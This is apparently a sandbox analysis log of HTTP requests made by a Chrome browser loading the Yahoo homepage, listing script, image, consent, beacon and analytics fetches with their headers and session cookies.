Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-core-1.65.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cx/hp-viewer/desktop_1.11.160.modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/DulSD3uwY739wuo0b_JK8A--~B/Zmk9c3RyaW07aD0xODA7cT04MDt3PTM1NjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/os/creatr-uploaded-images/2024-01/a9a213c0-afef-11ee-b1fd-29b234274d16.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/scp/js/fpDesktop.946c2da0001345c6100bc419deb301d7.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/benji/benji-1.0.123.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/74A7rwpEL9hbN4ZMvCarVw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/salon_articles_879/e626f1854c69d9a3bc93e631b399a4e6.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /uc/sf/0.1.360/js/safe.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /__rapid-worker-1.2.js HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-caas-1.35.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-toggle-1.15.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/fp/js/react-wafer-featurebar.custom.modern.12732500bc8e47693f0d777bbe88001c.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_td_api/beacon/performance?ybar-init_0=0.39999999999417923&ybar-mod-sidenav_0=2.1999999999825377&ybar-mod-logo_0=0.39999999999417923&ybar-mod-searchbox_0=0.7000000000116415&ybar-mod-assistjs_0=3&ybar-mod-adaptivenav_0=0.09999999997671694&ybar-account-init_0=0.6999999999825377&ybar-mail-init_0=1.5&ybar-mod-navigation_0=11.39999999999418&ybar-mod-notification_0=0.29999999998835847&src=ybar&_rdn=230041&apptype=default&rid=0gast8pipu9uc&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-video-2.22.15-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pv/static/img/icon-flame-light-202303010352.gif HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-text-1.2.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-bind-1.1.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-image-1.4.0-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=56cff8b5-f715-383b-bccf-0ae1c993368c,1315330a-fbeb-3a39-872e-a34c415ed2dc,7635f4d4-18ff-4443-86bc-3d28dfde6f60,8e419b22-4336-45cd-b717-dcbd8c920d50,4714ebb9-b723-32cc-972e-f333df6ab351,37846fc9-24c6-3e14-89b3-d0b87b71d5cb,f5b365a0-db09-39f8-8a63-b84ab4cb54c7,f0a98bd0-f332-3f2b-8af3-baaf55540e63,9e9e9cd9-64ca-3d4c-b68b-6ea37f24194a,1ad61db1-8b32-3197-bf5c-335ccd0ba90a&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-rapid-1.10.8-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=38e4b189-858a-3337-8105-11ad07095256,13c5b235-4dae-31a9-907f-135cdada812d,ce810da6-ac2a-33d8-9f13-869ced0eec5c&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc HTTP/1.1Host: www.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"x-webp: 1sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-beacon-1.3.4-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-fetch-1.19.1-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/opus.js HTTP/1.1Host: opus.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /bidexchange.js?cid=8YHBJ3BJ0&version=12.1&dn=www.yahoo.com&ysection=main&yregion=US&ylang=en-US&ysite=fp&ydevice=desktop HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-lightbox-1.10.6-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-scrollview-2.22.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-countdown-1.2.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-benji-1.1.3-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-clipboard-copy-1.0.2-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-form-1.34.5-modern.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.yahoo.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
